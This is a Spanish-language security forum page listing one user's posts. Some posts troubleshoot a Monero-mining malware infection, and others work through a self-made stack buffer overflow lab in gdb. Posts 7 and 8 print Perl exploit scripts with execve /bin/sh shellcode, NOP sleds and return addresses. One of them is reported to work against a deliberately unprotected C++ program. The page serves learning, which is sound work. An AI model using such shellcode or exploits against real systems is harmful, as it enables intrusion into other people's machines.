elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6
1  Seguridad Informática / Seguridad / Re: Pc infectado con un malware de mineria de Moneros en: 9 Marzo 2024, 10:24 am
Lo mas seguro es que es un secuestro de proceso, que versión de windows tienes?

Podria ser un DllHijacking o también podria ser una Dll injection. El pc tiene instalado Windows 11 y el otro día genere un reporte con procmon (https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) pero no soy capaz de encontrar qual es la dll maligna
2  Seguridad Informática / Seguridad / Re: Pc infectado con un malware de mineria de Moneros en: 3 Marzo 2024, 12:51 pm
Puedes probar con https://es.malwarebytes.com/adwcleaner/. No sustituye tu antivirus, ni se instala. Solo es un ejecutable

Lo he probado y tampoco me ha detectado software malicioso. Voy a tener que formatear el pc, pero ya me he hecho una copia de seguridad del disco duro con el programa disk2vhd.

https://learn.microsoft.com/es-es/sysinternals/downloads/disk2vhd

Voy a probar a analizar el malware y haber que sale.

Muchas gracias a todos por vuestras respuestas! :D
3  Seguridad Informática / Seguridad / Re: Pc infectado con un malware de mineria de Moneros en: 26 Febrero 2024, 21:08 pm
Si quieres analizarlo adelante, pero si realmente lo que quieres hacer es limpiarlo de verdad, reinstala Windows o formatea y empieza de 0..

Pues creo que lo mas sensato será hacer borrón y cuenta nueva. Pero quizas me haga una imagen del SO antes de formatear para correrla en una màquina virtual, sabeis de algun programa FOSS o gratuito para hacer eso?
4  Seguridad Informática / Seguridad / Re: Pc infectado con un malware de mineria de Moneros en: 25 Febrero 2024, 21:24 pm
Muchas gracias por las respuestas, @BloodSharp, he ejecutado el comando que me has dicho y he cazado la conexión:



Es la que apunta al puerto destino 5555. Por lo que acabo de descubrir Dwm.exe es un proceso genuino de windows que significa Desktop Windows Manager. Parece que el malware se esta ejecutando inyectado dentro de este proceso. Como podria seguir tirando del hilo ahora? Como se ha emmascardo el malware dentro del proceso dwm.exe, a partir de un archivo ejectuable? Como podria encontrarlo?

Por otro lado, en la imagen también se aprecia un servicio llamado CryptSvc con conexiones establecidas a una ip por el puerto ochenta que me hacen dudar muchísimo de su legitimidad.

Tampoco estoy seguro de si este malware solo es para la minación de monero o realiza alguna otra acción fraudulenta.



5  Seguridad Informática / Seguridad / Pc infectado con un malware de mineria de Moneros en: 25 Febrero 2024, 11:16 am
Hola,

El router de mi red esta bloqueando una connexion a la ip: X.X.X.X por la razon siguiente: MISC Cryptocurrency monero mining activity. Si hago una peticion web a esa ip, efectivamente devuelve un codigo indicando que es una pool de monero.

Tengo identificado el pc de mi red que realiza esta actividad sospechosa. Es un windows con un antivirus McAfee instalado, pero parece que McAfee no detecta el malware de mineria. Como podria identificar el proceso que realiza estas connexiones? Conoceis alguna herramienta de analisis util para este tipo de malware?

Muchas gracias

EDITO: He quitado la IP, porque no recuerdo si hay alguna politica en este foro
6  Seguridad Informática / Bugs y Exploits / Re: Duda explotando un buffer overflow en el stack en: 9 Febrero 2024, 23:47 pm
Hola otroWeyMas.nasm, muchas gracias por tu respuesta.

Pues tenía la esperanza que pudiera llegar a entender que pasa viendo la memoria y depurando. Almenos he podido comprobar que al llegar al return salta a la posición que tocaria para ejectuar los NOPs:



EDITO:

Bueno bueno, creo que acabo de entender lo que pasa. La propia shellcode ejecuta instrucciones push y esta sobreescribe su propio código dentro de la pila, aquí la prueba:



He logrado depurar paso a paso incluso las instrucciones de memoria hacia donde he saltado utilizando los comandos explicados aquí: https://sourceware.org/gdb/current/onlinedocs/gdb.html/Continuing-and-Stepping.html

Claro, con la otra shellcode estos push sobreescriben otras direcciones de memoria que no interfieren en la ejecución.

Lo que no entiendo es porque el stack pointer esta apuntando a la dirección 0x7fffffffdf00

Seguire investigando! :D

Un saludo
7  Seguridad Informática / Bugs y Exploits / Re: Duda explotando un buffer overflow en el stack en: 20 Enero 2024, 12:12 pm
Buenas, trasteando un poco mas he conseguido un exploit que funciona:

Código
  1.  
  2. #!/usr/bin/perl
  3.  
  4. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  5. $address = "\x30\xdd\xff\xff\xff\x7f"x5; #0x7fffffffdd30; return address in big-endian - 8 bytes
  6. $nop = "\x90"x162; #186 bytes
  7.  
  8. print $nop . $shellcode . $address;
  9.  

Básicamente lo que he hecho ha sido quitar NOPs y duplicar cinco veces la dirección de retorno por si durante la ejecución por algun motivo la posición de memoria de la dirección de retorno variaba.
Este es un frame de la pila justo antes de terminar la ejecución:



Pero no acabo de entender porque este exploit si que funciona y el otro no. Alguna idea?

Muchas gracias y saludos!
8  Seguridad Informática / Bugs y Exploits / Duda explotando un buffer overflow en el stack en: 19 Enero 2024, 21:16 pm
Buenas tardes y feliz año!  :)

Estoy realizando unas pruebas explotando un buffer overflow en la pila de un programa sencillo que he creado, pero no logro entender el porque de que falle mi exploit. Creo que paso algo por alto, pero no logro entender el que.
El programa a explotar es el siguiente:

Código
  1. #include <iostream>
  2. #include <cstring>
  3. using namespace std;
  4.  
  5. int main(int argc, char* argv[]) {
  6.  
  7.    char output[200];
  8.  
  9.    const char* source = argv[1];
  10.  
  11.    strcpy(output, source);
  12.  
  13.    cout << "Output string: " << output << endl;
  14.  
  15.    return 0;
  16. }

Deshabilito el ASLR en mi ordernador con arquitectura intel de 64 bits y compilo el programa quitando las protecciones del stack:

Código
  1. g++ strcpy_sample.cpp -fno-stack-protector -z execstack -g -o sut.exe

Una vez hecho esto, voy a depurar el programa con gdb para calcular el desplazamiento y obtener la dirección de memoria de retorno de la función:



He utilizado una entrada de 200 caracteres A para llenar el buffer y ver mejor la pila del programa. la dirección de retorno esta en la posición 0x7fffffffdda8 de memòria y la variable output esta en la dirección 0x7fffffffdcd0
Como se muestra en la siguiente imagen:



Entonces para calcular el desplazamiento con gdb hago:

offset =  @ret - @output = 0x7fffffffdda8 - 0x7fffffffdcd0 = 216 bytes

Código
  1. (gdb) p/d 0x7fffffffdda8 - 0x7fffffffdcd0

Una vez obtengo el desplazamiento, escojo una dirección valida al azar dentro del stack para usarla como dirección de retorno. Por ejemplo usaré la 0x7fffffffdd30

Entonces, sabiendo estos dos parametros, he escrito un pequeño exploit en lenguaje perl:

Código
  1. #!/usr/bin/perl
  2.  
  3. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  4. $address = "\x30\xdd\xff\xff\xff\x7f\x00\x00"; #0x7fffffffdd30; return address in big-endian - 8 bytes
  5. $nop = "\x90"x186; #186 bytes
  6.  
  7. print $nop . $shellcode . $address;
  8.  

Por cierto, la shellcode la he obtenido de shell-storm.org, ocupa 30 bytes y es la siguiente: https://shell-storm.org/shellcode/files/shellcode-603.html

El exploit de perl, devuelve una cadena de 224 bytes = 186 bytes de NOPs + 30bytes de la shellcode + 8 bytes de la dirección de retorno = offset + @retorno

Entonces, ejecuto gdb pasandole el exploit como entrada y el stack me queda así:



Claro, lo que ha pasado aquí es que la posición de memoria de la dirección de retorno ha cambiado:

rip at 0x7fffffffdda8 --> rip at 0x7fffffffdd88

Esto es debido a que el tamaño del buffer de entrada (argv[1]) ha cambiado y es mas grande, antes eran 200bytes y ahora son 216 bytes, y por lo tanto al copiar el buffer se ha ampliado el offset en 32 bytes.

Pero si vuelvo a calcular el desplazamiento entre la posición de la dirección de memoria de retorno y la posición de la variable output me siguen saliendo 216bytes:

Código
  1. (gdb) p/d 0x7fffffffdd88 - 0x7fffffffdcb0

Esto es así porque la variable $output se ha desbordado, pero sigue "ocupando" 200 bytes en memoria.

Pero, en cualquier caso, he acertado y la dirección de retorno se ha sobreescrito con la dirección que quería, si nos fijamos en la imagen anterior, la nueva posición de retorno 0x7fffffffdd88 contiene la dirección: 0x7fffffffdd30

Ahora si continuo con la ejecución debería  saltar a la posición de memoria del medio de la stack. ejectuar los NOPs y luego la shellcode para obtener una shell. Sin embargo, el programa termina con un error de segmentation fault y parece que no ejectua la shellcode.



Alguien me sabría decir porque ha ocurrido esto?
Se os ocurre alguna forma de validar si realmente se ha ejecutado la shellcode?
9  Seguridad Informática / Seguridad / Re: Crypt0l0ker en: 20 Abril 2017, 23:25 pm
Como ya dije en un mensaje anterior, prueba aquí: https://www.nomoreransom.org/es/index.html

Puedes probar varias herramientas y hasta detecta si es alguna variante conocida y te da el decrypter

10  Foros Generales / Dudas Generales / Re: seguridad de redes en: 12 Abril 2017, 23:08 pm
Puedes empezar con el RFC del protocolo TCP

https://tools.ietf.org/html/rfc793
Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines